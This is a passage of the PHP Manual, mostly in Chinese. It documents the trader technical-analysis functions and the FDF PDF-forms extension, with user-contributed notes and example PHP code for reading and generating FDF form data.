high

高价，浮点数数组。

low

低价，浮点数数组。

acceleration

Acceleration Factor used up to the Maximum value. Valid range from 0 to TRADER_REAL_MAX.

maximum

Acceleration Factor Maximum value. Valid range from 0 to TRADER_REAL_MAX.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Parabolic SAR - Extended

  • ? trader_sar
  • trader_set_compat ?
  • PHP Manual
  • Trader 函数
  • Parabolic SAR - Extended

trader_sarext

(PECL trader >= 0.2.0)

trader_sarext — Parabolic SAR - Extended

说明

trader_sarext(
array $high,
array $low,
float $startValue = ?,
float $offsetOnReverse = ?,
float $accelerationInitLong = ?,
float $accelerationLong = ?,
float $accelerationMaxLong = ?,
float $accelerationInitShort = ?,
float $accelerationShort = ?,
float $accelerationMaxShort = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

startValue

Start value and direction. 0 for Auto, >0 for Long, <0 for Short. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

offsetOnReverse

Percent offset added/removed to initial stop on short/long reversal. Valid range from 0 to TRADER_REAL_MAX.

accelerationInitLong

Acceleration Factor initial value for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationLong

Acceleration Factor for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationMaxLong

Acceleration Factor maximum value for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationInitShort

Acceleration Factor initial value for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationShort

Acceleration Factor for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationMaxShort

Acceleration Factor maximum value for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set compatibility mode

  • ? trader_sarext
  • trader_set_unstable_period ?
  • PHP Manual
  • Trader 函数
  • Set compatibility mode

trader_set_compat

(PECL trader >= 0.2.2)

trader_set_compat — Set compatibility mode

说明

trader_set_compat(int $compatId): void

Set compatibility mode which will affect the way calculations are done by all the extension functions.

参数

compatId

Compatibility Id. TRADER_COMPATIBILITY_* series of constants should be used.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set unstable period

  • ? trader_set_compat
  • trader_sin ?
  • PHP Manual
  • Trader 函数
  • Set unstable period

trader_set_unstable_period

(PECL trader >= 0.2.2)

trader_set_unstable_period — Set unstable period

说明

trader_set_unstable_period(int $functionId, int $timePeriod): void

Influences unstable period factor for functions, which are sensible to it. More information about unstable periods can be found on the » TA-Lib API documentation page.

参数

functionId

Function ID the factor should be set for. TRADER_FUNC_UNST_* constant series can be used to affect the corresponding function.

timePeriod

Unstable period value.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Sin

  • ? trader_set_unstable_period
  • trader_sinh ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric Sin

trader_sin

(PECL trader >= 0.2.0)

trader_sin — Vector Trigonometric Sin

说明

trader_sin(array $real): array

Calculates the sine for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Sinh

  • ? trader_sin
  • trader_sma ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric Sinh

trader_sinh

(PECL trader >= 0.2.0)

trader_sinh — Vector Trigonometric Sinh

说明

trader_sinh(array $real): array

Calculates the hyperbolic sine for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Simple Moving Average

  • ? trader_sinh
  • trader_sqrt ?
  • PHP Manual
  • Trader 函数
  • Simple Moving Average

trader_sma

(PECL trader >= 0.2.0)

trader_sma — Simple Moving Average

说明

trader_sma(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Square Root

  • ? trader_sma
  • trader_stddev ?
  • PHP Manual
  • Trader 函数
  • Vector Square Root

trader_sqrt

(PECL trader >= 0.2.0)

trader_sqrt — Vector Square Root

说明

trader_sqrt(array $real): array

Calculates the square root of each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Standard Deviation

  • ? trader_sqrt
  • trader_stoch ?
  • PHP Manual
  • Trader 函数
  • Standard Deviation

trader_stddev

(PECL trader >= 0.2.0)

trader_stddev — Standard Deviation

说明

trader_stddev(array $real, int $timePeriod = ?, float $nbDev = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

nbDev

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

nijatasadov at gmail dot com 25-Jan-2019 09:40
trader_stddev doesn't work. This is why trader_bbands doesn't work as well.

function standard_deviation(array $a, $sample = false)
    {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);

            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);

            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
            --$n;
        }

        return sqrt($carry / $n);
    }

trader_stddev($data, $period) {
       $stds = [];
        $current = [];

        foreach ($data as $i => $close) {
            $current[] = $close;
            if ($i < $period) {
                $stds[$i] = false;
            } else {
                $stds[$i] = standard_deviation($current);
                array_shift($current);
            }
        }

        return $stds;

}


Stochastic

  • ? trader_stddev
  • trader_stochf ?
  • PHP Manual
  • Trader 函数
  • Stochastic

trader_stoch

(PECL trader >= 0.2.0)

trader_stoch — Stochastic

说明

trader_stoch(
array $high,
array $low,
array $close,
int $fastK_Period = ?,
int $slowK_Period = ?,
int $slowK_MAType = ?,
int $slowD_Period = ?,
int $slowD_MAType = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

slowK_Period

Smoothing for making the Slow-K line. Valid range from 1 to 100000, usually set to 3.

slowK_MAType

Type of Moving Average for Slow-K. TRADER_MA_TYPE_* series of constants should be used.

slowD_Period

Smoothing for making the Slow-D line. Valid range from 1 to 100000.

slowD_MAType

Type of Moving Average for Slow-D. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

Bruce D 23-Nov-2014 11:45
This function returns an array of arrays :

index [0]:  %K values
index [1]:  %D values


Stochastic Fast

  • ? trader_stoch
  • trader_stochrsi ?
  • PHP Manual
  • Trader 函数
  • Stochastic Fast

trader_stochf

(PECL trader >= 0.2.0)

trader_stochf — Stochastic Fast

说明

trader_stochf(
array $high,
array $low,
array $close,
int $fastK_Period = ?,
int $fastD_Period = ?,
int $fastD_MAType = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

fastD_Period

Smoothing for making the Fast-D line. Valid range from 1 to 100000, usually set to 3.

fastD_MAType

Type of Moving Average for Fast-D. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stochastic Relative Strength Index

  • ? trader_stochf
  • trader_sub ?
  • PHP Manual
  • Trader 函数
  • Stochastic Relative Strength Index

trader_stochrsi

(PECL trader >= 0.2.0)

trader_stochrsi — Stochastic Relative Strength Index

说明

trader_stochrsi(
array $real,
int $timePeriod = ?,
int $fastK_Period = ?,
int $fastD_Period = ?,
int $fastD_MAType = ?
): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

fastD_Period

Smoothing for making the Fast-D line. Valid range from 1 to 100000, usually set to 3.

fastD_MAType

Type of Moving Average for Fast-D. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

Ali 14-Apr-2021 08:43
this function use FAST stoch if you need results like Tradingview use this:

$rsi = trader_rsi($dataclose,14);
$stochrsi = trader_stoch($rsi,$rsi,$rsi,14,3,TRADER_MA_TYPE_SMA,3,TRADER_MA_TYPE_SMA);


Vector Arithmetic Subtraction

  • ? trader_stochrsi
  • trader_sum ?
  • PHP Manual
  • Trader 函数
  • Vector Arithmetic Subtraction

trader_sub

(PECL trader >= 0.2.0)

trader_sub — Vector Arithmetic Subtraction

说明

trader_sub(array $real0, array $real1): array

Calculates the vector subtraction of real1 from real0 and returns the resulting vector.

参数

real0

浮点数数组。

real1

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Summation

  • ? trader_sub
  • trader_t3 ?
  • PHP Manual
  • Trader 函数
  • Summation

trader_sum

(PECL trader >= 0.2.0)

trader_sum — Summation

说明

trader_sum(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triple Exponential Moving Average (T3)

  • ? trader_sum
  • trader_tan ?
  • PHP Manual
  • Trader 函数
  • Triple Exponential Moving Average (T3)

trader_t3

(PECL trader >= 0.2.0)

trader_t3 — Triple Exponential Moving Average (T3)

说明

trader_t3(array $real, int $timePeriod = ?, float $vFactor = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

vFactor

成交量因子。有效值从 0 到 1。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Tan

  • ? trader_t3
  • trader_tanh ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric Tan

trader_tan

(PECL trader >= 0.2.0)

trader_tan — Vector Trigonometric Tan

说明

trader_tan(array $real): array

Calculates the tangent for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Tanh

  • ? trader_tan
  • trader_tema ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric Tanh

trader_tanh

(PECL trader >= 0.2.0)

trader_tanh — Vector Trigonometric Tanh

说明

trader_tanh(array $real): array

Calculates the hyperbolic tangent for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triple Exponential Moving Average

  • ? trader_tanh
  • trader_trange ?
  • PHP Manual
  • Trader 函数
  • Triple Exponential Moving Average

trader_tema

(PECL trader >= 0.2.0)

trader_tema — Triple Exponential Moving Average

说明

trader_tema(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


True Range

  • ? trader_tema
  • trader_trima ?
  • PHP Manual
  • Trader 函数
  • True Range

trader_trange

(PECL trader >= 0.2.0)

trader_trange — True Range

说明

trader_trange(array $high, array $low, array $close): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triangular Moving Average

  • ? trader_trange
  • trader_trix ?
  • PHP Manual
  • Trader 函数
  • Triangular Moving Average

trader_trima

(PECL trader >= 0.2.0)

trader_trima — Triangular Moving Average

说明

trader_trima(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

  • ? trader_trima
  • trader_tsf ?
  • PHP Manual
  • Trader 函数
  • 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

trader_trix

(PECL trader >= 0.2.0)

trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

说明

trader_trix(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Time Series Forecast

  • ? trader_trix
  • trader_typprice ?
  • PHP Manual
  • Trader 函数
  • Time Series Forecast

trader_tsf

(PECL trader >= 0.2.0)

trader_tsf — Time Series Forecast

说明

trader_tsf(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Typical Price

  • ? trader_tsf
  • trader_ultosc ?
  • PHP Manual
  • Trader 函数
  • Typical Price

trader_typprice

(PECL trader >= 0.2.0)

trader_typprice — Typical Price

说明

trader_typprice(array $high, array $low, array $close): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ultimate Oscillator

  • ? trader_typprice
  • trader_var ?
  • PHP Manual
  • Trader 函数
  • Ultimate Oscillator

trader_ultosc

(PECL trader >= 0.2.0)

trader_ultosc — Ultimate Oscillator

说明

trader_ultosc(
array $high,
array $low,
array $close,
int $timePeriod1 = ?,
int $timePeriod2 = ?,
int $timePeriod3 = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod1

Number of bars for 1st period. Valid range from 1 to 100000.

timePeriod2

Number of bars for 2nd period. Valid range from 1 to 100000.

timePeriod3

Number of bars for 3rd period. Valid range from 1 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Variance

  • ? trader_ultosc
  • trader_wclprice ?
  • PHP Manual
  • Trader 函数
  • Variance

trader_var

(PECL trader >= 0.2.0)

trader_var — Variance

说明

trader_var(array $real, int $timePeriod = ?, float $nbDev = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

nbDev

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Weighted Close Price

  • ? trader_var
  • trader_willr ?
  • PHP Manual
  • Trader 函数
  • Weighted Close Price

trader_wclprice

(PECL trader >= 0.2.0)

trader_wclprice — Weighted Close Price

说明

trader_wclprice(array $high, array $low, array $close): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Williams' %R

  • ? trader_wclprice
  • trader_wma ?
  • PHP Manual
  • Trader 函数
  • Williams' %R

trader_willr

(PECL trader >= 0.2.0)

trader_willr — Williams' %R

说明

trader_willr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Weighted Moving Average

  • ? trader_willr
  • 非文本内容的 MIME 输出 ?
  • PHP Manual
  • Trader 函数
  • Weighted Moving Average

trader_wma

(PECL trader >= 0.2.0)

trader_wma — Weighted Moving Average

说明

trader_wma(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


非文本内容的 MIME 输出

  • FDF — Forms Data Format
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • FDF 函数
  • GnuPG — GNU Privacy Guard
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • GnuPG 函数
  • wkhtmltox
    • 简介
    • 安装/配置
    • wkhtmltox\PDF\Converter — The wkhtmltox\PDF\Converter class
    • wkhtmltox\PDF\Object — The wkhtmltox\PDF\Object class
    • wkhtmltox\Image\Converter — The wkhtmltox\Image\Converter class
  • PS — PostScript document creation
    • 简介
    • 安装/配置
    • 预定义常量
    • PS 函数
  • RpmInfo
    • 简介
    • 安装/配置
    • 预定义常量
    • RpmInfo 函数
  • XLSWriter
    • 简介
    • 安装/配置
    • 预定义常量
    • Vtiful\Kernel\Excel — The Vtiful\Kernel\Excel class
    • Vtiful\Kernel\Format — The Vtiful\Kernel\Format class

User Contributed Notes

There are no user contributed notes for this page.


Forms Data Format

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • FDF 函数
    • fdf_add_doc_javascript — Adds javascript code to the FDF document
    • fdf_add_template — Adds a template into the FDF document
    • fdf_close — Close an FDF document
    • fdf_create — Create a new FDF document
    • fdf_enum_values — Call a user defined function for each document value
    • fdf_errno — Return error code for last fdf operation
    • fdf_error — Return error description for FDF error code
    • fdf_get_ap — Get the appearance of a field
    • fdf_get_attachment — Extracts uploaded file embedded in the FDF
    • fdf_get_encoding — Get the value of the /Encoding key
    • fdf_get_file — Get the value of the /F key
    • fdf_get_flags — Gets the flags of a field
    • fdf_get_opt — Gets a value from the opt array of a field
    • fdf_get_status — Get the value of the /STATUS key
    • fdf_get_value — Get the value of a field
    • fdf_get_version — Gets version number for FDF API or file
    • fdf_header — Sets FDF-specific output headers
    • fdf_next_field_name — Get the next field name
    • fdf_open_string — Read a FDF document from a string
    • fdf_open — Open a FDF document
    • fdf_remove_item — Sets target frame for form
    • fdf_save_string — Returns the FDF document as a string
    • fdf_save — Save a FDF document
    • fdf_set_ap — Set the appearance of a field
    • fdf_set_encoding — Sets FDF character encoding
    • fdf_set_file — Set PDF document to display FDF data in
    • fdf_set_flags — Sets a flag of a field
    • fdf_set_javascript_action — Sets an javascript action of a field
    • fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF
    • fdf_set_opt — Sets an option of a field
    • fdf_set_status — Set the value of the /STATUS key
    • fdf_set_submit_form_action — Sets a submit form action of a field
    • fdf_set_target_frame — Set target frame for form display
    • fdf_set_value — Set the value of a field
    • fdf_set_version — Sets version number for a FDF file

User Contributed Notes

There are no user contributed notes for this page.


简介

Forms Data Format (FDF) is a format for handling forms within PDF documents. You should read the documentation at » http://www.adobe.com/devnet/acrobat/fdftoolkit.html for more information on what FDF is and how it is used in general.

The general idea of FDF is similar to HTML forms. The difference is basically the format how data is transmitted to the server when the submit button is pressed (this is actually the Form Data Format) and the format of the form itself (which is the Portable Document Format, PDF). Processing the FDF data is one of the features provided by the fdf functions. But there is more. One may as well take an existing PDF form and populated the input fields with data without modifying the form itself. In such a case one would create a FDF document (fdf_create()) set the values of each input field (fdf_set_value()) and associate it with a PDF form (fdf_set_file()). Finally it has to be sent to the browser with MimeType application/vnd.fdf. The Acrobat reader plugin of your browser recognizes the MimeType, reads the associated PDF form and fills in the data from the FDF document.

If you look at an FDF-document with a text editor you will find a catalogue object with the name FDF. Such an object may contain a number of entries like Fields, F, Status etc.. The most commonly used entries are Fields which points to a list of input fields, and F which contains the filename of the PDF-document this data belongs to. Those entries are referred to in the FDF documentation as /F-Key or /Status-Key. Modifying this entries is done by functions like fdf_set_file() and fdf_set_status(). Fields are modified with fdf_set_value(), fdf_set_opt() etc..

User Contributed Notes

There are no user contributed notes for this page.


需求

You need the FDF toolkit SDK available from » http://www.adobe.com/devnet/acrobat/fdftoolkit.html. As of PHP 4.3.0 you need at least SDK version 5.0. The FDF toolkit library is available in binary form only, platforms supported by Adobe are Win32, Linux, Solaris and AIX.

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展被认为已无人维护及已消亡。然而，此扩展的源代码还可在 PECL SVN 找到： » https://svn.php.net/viewvc/pecl/fdf.

This extension is no longer bundled with PHP.

Note: If you run into problems configuring PHP with fdftk support, check whether the header file fdftk.h and the library libfdftk.so are at the right place. The configure script supports both the directory structure of the FDF SDK distribution and the usual DIR/include / DIR/lib layout, so you can point it either directly to the unpacked distribution directory or put the header file and the appropriate library for your platform into e.g. /usr/local/include and /usr/local/lib and configure with --with-fdftk=/usr/local.

Note: Note to Win32 Users

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： fdftk.dll

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Most fdf functions require a fdf resource as their first parameter. A fdf resource is a handle to an opened fdf file. fdf resources may be obtained using fdf_create(), fdf_open() and fdf_open_string().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

FDFValue (int)
FDFStatus (int)
FDFFile (int)
FDFID (int)
FDFFf (int)
FDFSetFf (int)
FDFClearFf (int)
FDFFlags (int)
FDFSetF (int)
FDFClrF (int)
FDFAP (int)
FDFAS (int)
FDFAction (int)
FDFAA (int)
FDFAPRef (int)
FDFIF (int)
FDFEnter (int)
FDFExit (int)
FDFDown (int)
FDFUp (int)
FDFFormat (int)
FDFValidate (int)
FDFKeystroke (int)
FDFCalculate (int)
FDFNormalAP (int)
FDFRolloverAP (int)
FDFDownAP (int)

User Contributed Notes

There are no user contributed notes for this page.


示例

The following examples shows just the evaluation of form data.

Example #1 Evaluating a FDF document

<?php
// Open fdf from input string provided by the extension
// The pdf form contained several input text fields with the names
// volume, date, comment, publisher, preparer, and two checkboxes
// show_publisher and show_preparer.
$fdf = fdf_open_string($HTTP_FDF_DATA);
$volume = fdf_get_value($fdf, "volume");
echo "The volume field has the value '<b>$volume</b>'<br />";

$date = fdf_get_value($fdf, "date");
echo "The date field has the value '<b>$date</b>'<br />";

$comment = fdf_get_value($fdf, "comment");
echo "The comment field has the value '<b>$comment</b>'<br />";

if (fdf_get_value($fdf, "show_publisher") == "On") {
$publisher = fdf_get_value($fdf, "publisher");
echo "The publisher field has the value '<b>$publisher</b>'<br />";
} else
echo "Publisher shall not be shown.<br />";

if (fdf_get_value($fdf, "show_preparer") == "On") {
$preparer = fdf_get_value($fdf, "preparer");
echo "The preparer field has the value '<b>$preparer</b>'<br />";
} else
echo "Preparer shall not be shown.<br />";
fdf_close($fdf);
?>

User Contributed Notes

There are no user contributed notes for this page.


FDF 函数

Table of Contents

  • fdf_add_doc_javascript — Adds javascript code to the FDF document
  • fdf_add_template — Adds a template into the FDF document
  • fdf_close — Close an FDF document
  • fdf_create — Create a new FDF document
  • fdf_enum_values — Call a user defined function for each document value
  • fdf_errno — Return error code for last fdf operation
  • fdf_error — Return error description for FDF error code
  • fdf_get_ap — Get the appearance of a field
  • fdf_get_attachment — Extracts uploaded file embedded in the FDF
  • fdf_get_encoding — Get the value of the /Encoding key
  • fdf_get_file — Get the value of the /F key
  • fdf_get_flags — Gets the flags of a field
  • fdf_get_opt — Gets a value from the opt array of a field
  • fdf_get_status — Get the value of the /STATUS key
  • fdf_get_value — Get the value of a field
  • fdf_get_version — Gets version number for FDF API or file
  • fdf_header — Sets FDF-specific output headers
  • fdf_next_field_name — Get the next field name
  • fdf_open_string — Read a FDF document from a string
  • fdf_open — Open a FDF document
  • fdf_remove_item — Sets target frame for form
  • fdf_save_string — Returns the FDF document as a string
  • fdf_save — Save a FDF document
  • fdf_set_ap — Set the appearance of a field
  • fdf_set_encoding — Sets FDF character encoding
  • fdf_set_file — Set PDF document to display FDF data in
  • fdf_set_flags — Sets a flag of a field
  • fdf_set_javascript_action — Sets an javascript action of a field
  • fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF
  • fdf_set_opt — Sets an option of a field
  • fdf_set_status — Set the value of the /STATUS key
  • fdf_set_submit_form_action — Sets a submit form action of a field
  • fdf_set_target_frame — Set target frame for form display
  • fdf_set_value — Set the value of a field
  • fdf_set_version — Sets version number for a FDF file

User Contributed Notes

JFS at TRASH-MAIL dot COM 09-Oct-2021 02:20
function parseFDF($file) {
    $pattern = "/\/T\s\(([^)]*)\)[\n]\/V\s\(([^)]*)\)/ism";

    if (preg_match_all($pattern, $file, $out, PREG_SET_ORDER, 0)) {
        for ($i=0; $i<count($out); $i++) {
            if (preg_match($pattern, $out[$i][0], $regs)) {
                $key = $regs[1];
                $val = $regs[2];
                $key = preg_replace("/^\s*\(/","",$key);
                $key = preg_replace("/\)$/","",$key);
                $key = preg_replace("/\\\/","",$key);
                $val = preg_replace("/^\s*\(/","",$val);
                $val = preg_replace("/\)$/","",$val);
                $matches[$key] = $val;
            }
        }
        return $matches;
    }
}

$fdfFile = file_get_contents('testfdf.fdf');
var_dump(parseFDF($fdfFile));
bea dot el dot tea at gmail dot com 17-Aug-2011 09:01
If you can't get the php_fdf.dll working in PHP 5.3 on Windows, one possible work around is to use the activeX version from the "FDF Toolkit for Windows" from the Adobe website.  Here is part of a class I built for one of my projects.

<?php
class FDF{
    public $NormalAP = 0;
    public $RolloverAP = 1;
    public $DownAP = 2;

    protected $fdf;

    public function __construct(){
        $com = new COM('FdfApp.FdfApp');
        $this->fdf = $com->FDFCreate();
    }
    public function setFile($fileName){
        $this->fdf->FDFSetFile(str_replace(' ', '%20', $fileName));
    }
    public function setValue($name, $value){
        $this->fdf->FDFSetValue($name, $value, true);
    }
    public function setAP($field, $whichFace, $fileName, $pageNumber){
        $this->fdf->FDFSetAP($field, $whichFace, $fileName, $pageNumber);
    }
    public function savetoFile($saveFileName){
        $this->fdf->FDFSavetoFile($saveFileName);
    }
    public function close(){
        $this->fdf->FDFclose();
    }
}
?>
info at theindigoworks dot com 12-Jul-2007 08:49
re. g8z at yahoo dot com 18-Oct-2004 06:46

I think there is a line missing in

foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

I have changed it to read

 $key = addcslashes($key, "\n\r\t\\()");
$value = addcslashes($value, "\n\r\t\\()");
   $fdf .= "<< /T ($key) /V /$value >> \n";

Now all the check boxes and radio buttons are populated, not just the last one in the form as was happening before.
wesley_grant at yahoo dot com 11-Jan-2006 03:37
Changing the

session.cache_limiter

directive in the php.ini file to 'private'

seems to resolve the issue with sending fdf data and session headers at the same time to Internet Explorer.
bmount at livid dot us 19-Oct-2005 08:05
For those of you struggling with FDF in Internet Explorer, here is your solution:

DO NOT INITIALIZE A SESSION ON THE PAGE THAT GENERATES AND OUTPUTS FDF DATA.

This will fix the page not found error.
03-May-2005 01:08
Use "Yes" instead of "On" to populate checkboxes.
g8z at yahoo dot com 17-Oct-2004 11:46
This is for users who are looking for a way to merge HTML form data with a PDF Form, then output the PDF Form with data populated in it, to a web browser.

This is a pure PHP solution which does NOT require the FDF toolkit. Contributed by www.TUFaT.com

<?php

// the full http path to the PDF form
$form = 'http://my_domain.com/my_pdf_form.pdf';

function create_fdf ($pdffile, $strings, $keys)
{
    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF << /Fields [\n";

    foreach ($strings as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $value = addcslashes($value, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V ($value) >> \n";
    }
    foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

    $fdf .= "]\n/F ($pdffile) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}

// Fill in text fields
$strings = array(
    'date' => '10/17/2004',
    'full_name' => 'Joe Doe',
    'phone_num' => '123-4567',
    'company' => 'ACME Widgets',
    'amount' => 'USD 100.00'
    );

// Fill in check boxes/radio buttons
$keys = array('
    gender' => 'male',//radio button
    'is_adult' => 'Off',//checkbox
    'urgent' => 'On'//checkbox
    );

// Output the PDF form, with form data filled-in
header('Content-type: application/vnd.fdf');
echo create_fdf($form, $strings, $keys);

?>
sid at accesspdf dot com 07-Oct-2004 11:09
Basic FDF data is easy to create using native PHP; you don't need Adobe's FDF Toolkit. I wrote a function for this purpose called forge_fdf(). You can download it from:

http://www.pdfhacks.com/forge_fdf/

I created it for my book, PDF Hacks. An example of forge_fdf() in action can be viewed online:

http://pdfhacks.com/form_session/form_session-1.1/

Download the full code for this online example from:

http://pdfhacks.com/form_session/

Note how the PDF form data is submitted back to the server via POST rather than FDF. No need to parse FDF.

Cheers-

Sid Steward
m1tk4 at hotmail dot com 30-Jun-2004 10:34
If you want to add FDF support without rebuilding your RedHat EL3 / Fedora PHP RPMs, see instructions at http://phprpms.sourceforge.net/fdf
software at yvanrodrigues dot com 25-Mar-2004 02:16
Do not use version 6 of the fdftk.dll (windows) with PHP4.3.4, use the one that comes with PHP.

If you use the newer DLL fdf_create will not return a valid handle.
fleischer at mail dot com 18-Dec-2003 07:40
The code suggested by greg@... and adam@... is extremely helpful, but I've found out (the hard way) that unclosed parentheses within strings contained in the input array ($values in greg's code or $pdf_data in adam's) will cause Acrobat to issue an error to the effect that the file is corrupted. In other words, if there are strings such as "a) my first point; b) my second point" in the input array, the resulting PDF/FDF file will be considered corrupted by Acrobat. This apparently happens because all the field names in the structure of an FDF file are enclosed in parentheses.

The solution I've devised is to escape all opening and closing parentheses with a backslash, which in turn means you need to escape all backslashes. The code below does all that.

Erik

---------------

function output_fdf ($pdf_file, $pdf_data)
{
    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    $search = array('\\', '(', ')');
